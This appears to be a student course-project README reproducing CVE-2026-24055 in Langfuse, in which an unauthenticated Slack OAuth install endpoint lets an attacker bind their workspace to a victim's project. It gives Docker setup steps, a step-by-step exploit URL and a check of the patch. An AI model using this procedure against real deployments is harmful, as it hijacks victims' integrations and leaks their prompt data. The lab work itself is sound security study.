CVE-2026-24055 — Unauthenticated Slack OAuth Install in Langfuse

Course Project for Web and Application Security — Group 06, class NT213.Q21.ANTT

📌 Summary

The project reproduces a real-world security vulnerability that has been publicly disclosed (CVE-2026-24055) on the Langfuse platform — an OAuth endpoint that allows an attacker to take over the connection of a Slack workspace to someone else's project without needing to log in.

The project includes: setting up a Docker environment simulating both the vulnerable version and the patched version, performing the exploit step by step, and verifying that the patch works correctly. Through this, practicing the analysis of Access Control vulnerabilities in the OAuth flow, a skill directly applicable when building or auditing web authentication systems.

Skills demonstrated: OAuth2 flow analysis, Docker, reading security advisories, writing technical reports, security testing.

---

Table of Contents

• Vulnerability Description
• System Requirements
• Preparation Before Running
• Exploit Demo — Vulnerable v3.146.0
• Verify the Patch — Patched v3.147.0
• Shutting Down the Environment
• References

---

Vulnerability Description

CVE-2026-24055 is an Improper Access Control vulnerability in Langfuse from version 3.89.0 to 3.146.0.

The endpoint /api/public/slack/install does not require authentication, allowing an attacker to bind their Slack workspace to any project simply by knowing the projectId. When the victim creates an automation that sends notifications to Slack, the entire prompt content will be leaked to the attacker's workspace.

Attribute	Details
CWE	CWE-284 — Improper Access Control
Affected versions	Langfuse 3.89.0 – 3.146.0
Patched version	Langfuse 3.147.0
GitHub Advisory	GHSA-pvq7-vvfj-p98x
NVD	CVE-2026-24055

Attack Flow

---

System Requirements

Tool	Minimum Version
Docker Desktop	24.0+
Docker Compose	v2
Git	any
RAM	8 GB

---

Preparation Before Running

Create a Slack App

The Slack API allows using http://localhost:3000 as the Redirect URL.

1. Go to https://api.slack.com/apps → Create New App → From scratch
2. Name the app, choose a workspace
3. Go to OAuth & Permissions → Redirect URLs → add:

   http://localhost:3000
   

4. Save the Client ID and Client Secret

---

Exploit Demo — Vulnerable v3.146

Step 1 — Configure the Environment

cd vulnerable
cp .env.example .env

Open the .env file, fill in the following values:

NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string

Step 2 — Start Langfuse v3.146.0

docker compose up -d

Check that the containers are ready:

docker compose ps

Wait about 30–60 seconds. All containers must be in the Up (healthy) state.

Step 3 — Create Accounts

Access http://localhost:3000:

1. Victim Account

   • Register an account, create an Organization → create a Project
   • Go to Settings → note down the Project ID

2. Attacker Account

   • Open an incognito tab, register another account (or do not log in)

Step 4 — Perform the Exploit

In the attacker's browser (no Langfuse login required), access:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

The flow proceeds:

• The server does not check authentication, redirecting straight to Slack OAuth
• Log in to the attacker's Slack workspace → click Allow
• The attacker's workspace has been bound to the victim's project

Step 5 — Confirm the Leaked Data

Log in with the victim account:

1. Go to Settings → Integrations → check that Slack is connected (the attacker's workspace)
2. Create an Automation: Prompts → Automations → New
   • Trigger: Prompt created / updated / deleted
   • Action: Slack → choose a channel
3. The victim creates a new prompt
4. The attacker's Slack receives a notification containing the prompt's metadata (name, version, labels, tags)

---

Verify the Patch — Patched v3.147

Step 1 — Shut Down the Old Environment

cd ../vulnerable
docker compose down

Step 2 — Start Langfuse v3.147.0

cd ../patched
cp .env.example .env
# Fill in the same values as in the vulnerable section
docker compose up -d

Step 3 — Re-run the Exploit

Try without logging in:

http://localhost:3000/api/public/slack/install?projectId=<any-project-id>

Expected result — HTTP 401:

{ "error": "Authentication required" }

Try logging in as the attacker, using the victim's projectId:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

Expected result — HTTP 403:

{ "error": "You do not have permission to configure Slack for this project" }

The vulnerability has been fully patched.

---

Shutting Down the Environment

docker compose down

If you want to delete all data (volumes):

docker compose down -v

---

Directory Structure

cve-2026-24055/
├── README.md                  ← this file
├── vulnerable/
│   ├── docker-compose.yml     ← Langfuse v3.146.0 (vulnerable)
│   └── .env.example
└── patched/
    ├── docker-compose.yml     ← Langfuse v3.147.0 (patched)
    └── .env.example

---

References

• GitHub Security Advisory — GHSA-pvq7-vvfj-p98x
• NVD — CVE-2026-24055
• Commit fix — 3adc89e